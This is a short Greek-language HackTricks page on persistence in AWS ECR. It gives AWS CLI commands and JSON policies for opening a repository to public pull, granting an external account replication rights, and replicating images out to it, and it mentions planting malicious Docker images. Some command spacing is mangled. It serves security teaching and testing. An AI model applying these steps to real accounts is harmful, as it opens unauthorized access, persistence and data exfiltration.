Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια στο GitHub.
ECR
Για περισσότερες πληροφορίες ελέγξτε:
Κρυφή Εικόνα Docker με Κακόβουλο Κώδικα
Ένας επιτιθέμενος θα μπορούσε να μεταφορτώσει μια εικόνα Docker που περιέχει κακόβουλο κώδικα σε ένα αποθετήριο ECR και να τη χρησιμοποιήσει για να διατηρήσει τη μόνιμη παρουσία στον στόχο λογαριασμό AWS. Ο επιτιθέμενος θα μπορούσε στη συνέχεια να αναπτύξει την κακόβουλη εικόνα σε διάφορες υπηρεσίες εντός του λογαριασμού, όπως το Amazon ECS ή το EKS, με έναν διακριτικό τρόπο.
Πολιτική Αποθετηρίου
Προσθέστε μια πολιτική σε ένα μόνο αποθετήριο που σας επιτρέπει (ή σε όλους) πρόσβαση σε ένα αποθετήριο:
awsecrset-repository-policy \--repository-name cluster-autoscaler \--policy-text file:///tmp/my-policy.json# With a .json such as{"Version":"2008-10-17","Statement": [{"Sid":"allow public pull","Effect":"Allow","Principal":"*","Action": ["ecr:BatchCheckLayerAvailability","ecr:BatchGetImage","ecr:GetDownloadUrlForLayer"]}]}
Σημειώστε ότι το ECR απαιτεί από τους χρήστες να έχουν άδεια για να καλούν το API ecr:GetAuthorizationToken μέσω μιας πολιτικής IAM πριν μπορέσουν να πιστοποιηθούν σε ένα αποθετήριο και να ανεβάσουν ή να κατεβάσουν εικόνες από οποιοδήποτε αποθετήριο Amazon ECR.
Πολιτική Αποθετηρίου & Αντιγραφή Μεταξύ Λογαριασμών
Είναι δυνατό να αντιγράψετε αυτόματα ένα αποθετήριο σε ένα εξωτερικό λογαριασμό ρυθμίζοντας την αντιγραφή μεταξύ λογαριασμών, όπου πρέπει να δηλώσετε τον εξωτερικό λογαριασμό όπου θέλετε να αντιγράψετε το αποθετήριο.
Πρώτα, πρέπει να δώσετε στον εξωτερικό λογαριασμό πρόσβαση στο αποθετήριο με μια πολιτική αποθετηρίου όπως:
awsecrput-registry-policy--policy-textfile://my-policy.json# With a .json like:{"Sid":"asdasd","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::947247140022:root"},"Action": ["ecr:CreateRepository","ecr:ReplicateImage"],"Resource":"arn:aws:ecr:eu-central-1:947247140022:repository/*"}
Στη συνέχεια εφαρμόστε τον ρυθμιστικό παράγοντα αντιγραφής:
awsecrput-replication-configuration \--replication-configuration file://replication-settings.json \--region us-west-2# Having the .json a content such as:{"rules": [{"destinations": [{"region":"destination_region","registryId":"destination_accountId"}],"repositoryFilters": [{"filter":"repository_prefix_name","filterType":"PREFIX_MATCH"}]}]}